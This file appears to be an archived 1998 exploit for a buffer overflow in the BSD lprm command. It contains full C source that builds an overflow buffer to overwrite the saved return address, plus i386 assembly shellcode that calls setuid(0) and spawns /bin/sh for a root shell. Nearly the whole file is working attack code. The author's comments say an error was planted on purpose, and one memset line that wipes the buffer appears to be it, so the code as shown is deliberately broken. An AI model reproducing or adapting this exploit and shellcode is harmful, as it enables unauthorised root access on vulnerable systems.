// source: https://www.securityfocus.com/bid/7025/info
It has been reported that a vulnerability in the handling of some types of requests exists in lprm. When an attacker sends a maliciously crafted string to a configured printer through the lprm command, it may be possible to execute code.
/*
lprm-bsd.c - Exploit for lprm vulnerability in
OpenBSD and FreeBSD-stable
k0ded by Niall Smart, njs3@doc.ic.ac.uk, 1998.
The original version of this file contains a blatant error
which anyone who is capable of understanding C will be able
to locate and remove. Please do not distribute this file
without this idiot-avoidance measure.
Typical egg on FreeBSD: 0xEFBFCFDF
Typical egg on OpenBSD: 0xEFBFD648
The exploit might take a while to drop you to a root shell
depending on the timeout ("tm" capability) specified in the
printcap file.
*/
#include <sys/types.h>
#include <pwd.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
extern void BEGIN_SC();
extern void END_SC();
int
main(int argc, char** argv)
{
char buf[4096];
struct passwd* pw;
char* cgstr;
char* cgbuf;
char* printer;
char* printcaps[] = { "/etc/printcap", 0 };
int sc_size; /* size of shell code */
int P; /* strlen(RP) + strlen(person) */
unsigned egg; /* value to overwrite saved EIP with */
if (argc != 3) {
fprintf(stderr, "usage: %s <printername> <egg>\n", argv[0]);
exit(0);
}
if ( (pw = getpwuid(getuid())) == NULL)
errx(1, "no password entry for your user-id");
printer = argv[1];
egg = (unsigned) strtoul(argv[2], NULL, 0);
if (cgetent(&cgstr, printcaps, printer) < 0)
errx(1, "can't find printer: %s", printer);
if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0')
errx(1, "printer is not remote: %s", printer);
if (cgetstr(cgstr, "rp", &cgbuf) < 0)
cgbuf = "lp";
sc_size = (char*) END_SC - (char*) BEGIN_SC;
/* We can append 1022 bytes to whatever is in the buffer.
We need to get up to 1032 bytes to reach the saved EIP,
so there must be at least 10 bytes placed in the buffer
by the snprintf on line 337 of rmjob.c and the subsequent
*cp++ = '\0'; 3 = ' ' + ' ' + '\5' */
if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7)
errx(1, "your username is too short");
fprintf(stderr, "P = %d\n", P);
fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size);
fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3);
/* fill with NOP */
memset(buf, 0x90, sizeof(buf));
/* put letter in first byte, this fucker took me eight hours to debug. */
buf[0] = 'A';
/* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */
memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size);
/* finally, set egg and null terminate */
*((int*)&buf[1028 - P - 3]) = egg;
buf[1022] = '\0';
memset(buf, 0, sizeof(buf));
execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0);
fprintf(stderr, "doh.\n");
return 0;
}
/*
shellcode.S - generic i386 shell code
k0d3d by Niall Smart, njs3@doc.ic.ac.uk, 1998.
Please send me platform-specific mods.
Example use:
#include <stdio.h>
#include <string.h>
extern void BEGIN_SC();
extern void END_SC();
int
main()
{
char buf[1024];
memcpy(buf, (void*) BEGIN_SC, (long) END_SC - (long) BEGIN_SC);
((void (*)(void)) buf)();
return 0;
}
gcc -Wall main.c shellcode.S -o main && ./main
*/
#if defined(__FreeBSD__) || defined(__OpenBSD__)
#define EXECVE 3B
#define EXIT 01
#define SETUID 17
#define SETEUID B7
#define KERNCALL int $0x80
#else
#error This OS not currently supported.
#endif
#define _EXECVE_A CONCAT($0x555555, EXECVE)
#define _EXECVE_B CONCAT($0xAAAAAA, EXECVE)
#define _EXIT_A CONCAT($0x555555, EXIT)
#define _EXIT_B CONCAT($0xAAAAAA, EXIT)
#define _SETUID_A CONCAT($0x555555, SETUID)
#define _SETUID_B CONCAT($0xAAAAAA, SETUID)
#define _SETEUID_A CONCAT($0x555555, SETEUID)
#define _SETEUID_B CONCAT($0xAAAAAA, SETEUID)
#define CONCAT(x, y) CONCAT2(x, y)
#define CONCAT2(x, y) x ## y
.global _BEGIN_SC
.global _END_SC
.data
_BEGIN_SC: jmp 0x4 // jump past next two isns
movl (%esp), %eax // copy saved EIP to eax
ret // return to caller
xorl %ebx, %ebx // zero ebx
pushl %ebx // sete?uid(0)
pushl %ebx // dummy, kernel expects extra frame pointer
movl _SETEUID_A, %eax //
andl _SETEUID_B, %eax // load syscall number
KERNCALL // make the call
movl _SETUID_A, %eax //
andl _SETUID_B, %eax // load syscall number
KERNCALL // make the call
subl $-8, %esp // push stack back up
call -40 // call, pushing addr of next isn onto stack
addl $53, %eax // make eax point to the string
movb %bl, 2(%eax) // append '\0' to "sh"
movb %bl, 11(%eax) // append '\0' to "/bin/sh"
movl %eax, 12(%eax) // argv[0] = "sh"
movl %ebx, 16(%eax) // argv[1] = 0
pushl %ebx // push envv
movl %eax, %ebx //
subl $-12, %ebx // -(-12) = 12, avoid null bytes
pushl %ebx // push argv
subl $-4, %eax // -(-4) = 4, avoid null bytes
pushl %eax // push path
pushl %eax // dummy, kernel expects extra frame pointer
movl _EXECVE_A, %eax //
andl _EXECVE_B, %eax // load syscall number
KERNCALL // make the call
pushl %eax // push return code from execve
pushl %eax //
movl _EXIT_A, %eax // we shouldn't have gotten here, try and
andl _EXIT_B, %eax // exit with return code from execve
KERNCALL // JERONIMO!
.ascii "shAA/bin/shBCCCCDDDD"
// 01234567890123456789
_END_SC:
